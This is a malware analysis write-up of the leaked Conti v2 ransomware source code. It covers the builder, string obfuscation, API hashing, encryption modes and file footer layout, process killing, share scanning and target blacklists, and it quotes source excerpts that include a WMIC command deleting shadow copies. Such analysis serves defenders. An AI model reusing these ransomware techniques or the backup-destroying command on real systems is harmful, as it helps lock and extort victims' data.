Overview

Some backstory here, a twitter account @contileaks began posting leaked chat logs and source code from the Conti ransomware group. Initially they posted a password protected archive of the Conti v2 source code. Later posted an archive of the source code with the locker cpp files removed and no password. This was apparently an attempt to prevent others from compiling the source code and using it. The release of the second archive allowed a cryptographic attack on the password protected archive and the release of the full source code.

Builder

The ransomware project comes with a builder that can be used to customize the compiled ransowmare binary (and decryptor). It basically runs a string replace on the binary to insert custom data like the RSA key and the decryption note. Some examples of the replaced strings are below.

__publickey__
__privatekey__
__DECRYPT_NOTE__

Obfuscation

They are using a macro based on ADVObfuscator to obfuscate strings inline in the code.

#define OBFW(str)((const wchar_t*)MetaBuffer<std::get<MetaRandom2<__COUNTER__, 30>::value>(PrimeNumbers), \
                  MetaRandom2<__COUNTER__, 126>::value, \
                  std::make_index_sequence<sizeof(str)>>((const unsigned char*)str).decrypt())

API Hashing

Hashing: MurmurHash2A contant=0x5bd1e995

They pre-calculate the API hashes and define each API wrapper in api.cpp then call the API definitions in the code. This doesn't seem like the most efficient way to do API hashing.

Example.

inline DWORD WINAPI pGetProcessId(
    HANDLE Process
)
{
    DWORD(WINAPI * pFunction)(HANDLE);
    pFunction = (DWORD(WINAPI*)(HANDLE))api::GetProcAddressEx2(NULL, KERNEL32_MODULE_ID, 0x31d910df, 9);//GetProcAddress(hKernel32, OBFA("GetProcessId"));
    return pFunction(Process);
}

Command Args

LPWSTR HostsPath = GetCommandLineArg(Argv, Argc, OBFW(L"-h"));
LPWSTR PathList = GetCommandLineArg(Argv, Argc, OBFW(L"-p"));
LPWSTR EncryptMode = GetCommandLineArg(Argv, Argc, OBFW(L"-m"));
LPWSTR LogsEnabled = GetCommandLineArg(Argv, Argc, OBFW(L"-log"));

Encryption

Encryption Modes (File To Encrypt)

enum EncryptModes {

    ALL_ENCRYPT = 10,
    LOCAL_ENCRYPT = 11,
    NETWORK_ENCRYPT = 12,
    BACKUPS_ENCRYPT = 13

};

Encrypt Modes (File Encryption)

Three modes of encryption based on file type and size.

enum ENCRYPT_MODES {

    FULL_ENCRYPT = 0x24,
    PARTLY_ENCRYPT = 0x25,
    HEADER_ENCRYPT = 0x26

};
  • DB files get full encrypt
  • VM files get partial encrypt
  • Under 1M is full encrypt
  • Between 1M - 5M gets header encrypt
  • Over 5M is partial encrypt

Partial Encrypt Mode

The partial encrypt mode can encrypt a file by percent, either 20% or 50%. This translates into a "step" size of data blocks that are encrypted in the file.

Delete Shadow Copies

Gain access to WMI via COM.

    // Step 1: --------------------------------------------------
    // Initialize COM. ------------------------------------------

    // Step 2: --------------------------------------------------
    // Set general COM security levels --------------------------

    // Step 3: ---------------------------------------------------
    // Obtain the initial locator to WMI -------------------------

    // Step 4: -----------------------------------------------------
    // Connect to WMI through the IWbemLocator::ConnectServer method
    // Connect to the root\cimv2 namespace with
    // the current user and obtain pointer pSvc
    // to make IWbemServices calls.

    // Step 5: --------------------------------------------------
    // Set security levels on the proxy -------------------------

    // Step 6: --------------------------------------------------
    // Use the IWbemServices pointer to make requests of WMI ----
    // For example, get the name of the operating system

    // Step 7: -------------------------------------------------
    // Get the data from the query in step 6 -------------------
    // Get the value of the Name property
    // Cleanup
    // ========

Copy-paste from MSDN WMI

Then use WMI to delete shadows

"cmd.exe /c C:\\Windows\\System32\\wbem\\WMIC.exe shadowcopy where \"ID='%s'\" delete

KIll File Owner To Free File For Encryption

They use the RestartManager to enumerate processes with a handle to the file they are trying to encrypt. Then they can kill the process.

Crypto

Using the Windows crypto APIs to generate a chacha key CryptGenRandom then they use statically linked chcha algorithm to encrypt files then RSA encrypt the generated key.

The chacha library is a copy-paste from this chacha-merged.c

Also ref wiki article on chacha.

/*
chacha-merged.c version 20080118
D. J. Bernstein
Public domain.
*/

Encrypted File Structure

The file is encrypted based on the encryption mode. The RSA encrypted chacha key is then appended to the encrypted file. Then a buffer containing the encryption mode constant and the data percent value is written to the file. This forms a footer that can be used by the decryptor to decrypt the file.

-------
encrypted data
-------
RSA encrypted chacha key
-------
byte encryption mode
-------
byte percent value

File Share Scanning

Scan local subnets for hosts, then scan hosts for shares.

Directory Blacklist

OBFW(L"tmp"),
        OBFW(L"winnt"),
        OBFW(L"temp"),
        OBFW(L"thumb"),
        OBFW(L"$Recycle.Bin"),
        OBFW(L"$RECYCLE.BIN"),
        OBFW(L"System Volume Information"),
        OBFW(L"Boot"),
        OBFW(L"Windows"),
        OBFW(L"Trend Micro")

File Extension Blacklist

        OBFW(L".exe"),
        OBFW(L".dll"),
        OBFW(L".lnk"),
        OBFW(L".sys"),
        OBFW(L".msi"),
        OBFW(L"R3ADM3.txt"),
        OBFW(L"CONTI_LOG.txt")

Readme File

The file name is hardcoded in the binary R3ADM3.txt.

Log File

Logging is an option specified as a command parameter. The log file path is hard coded as C:\\CONTI_LOG.txt.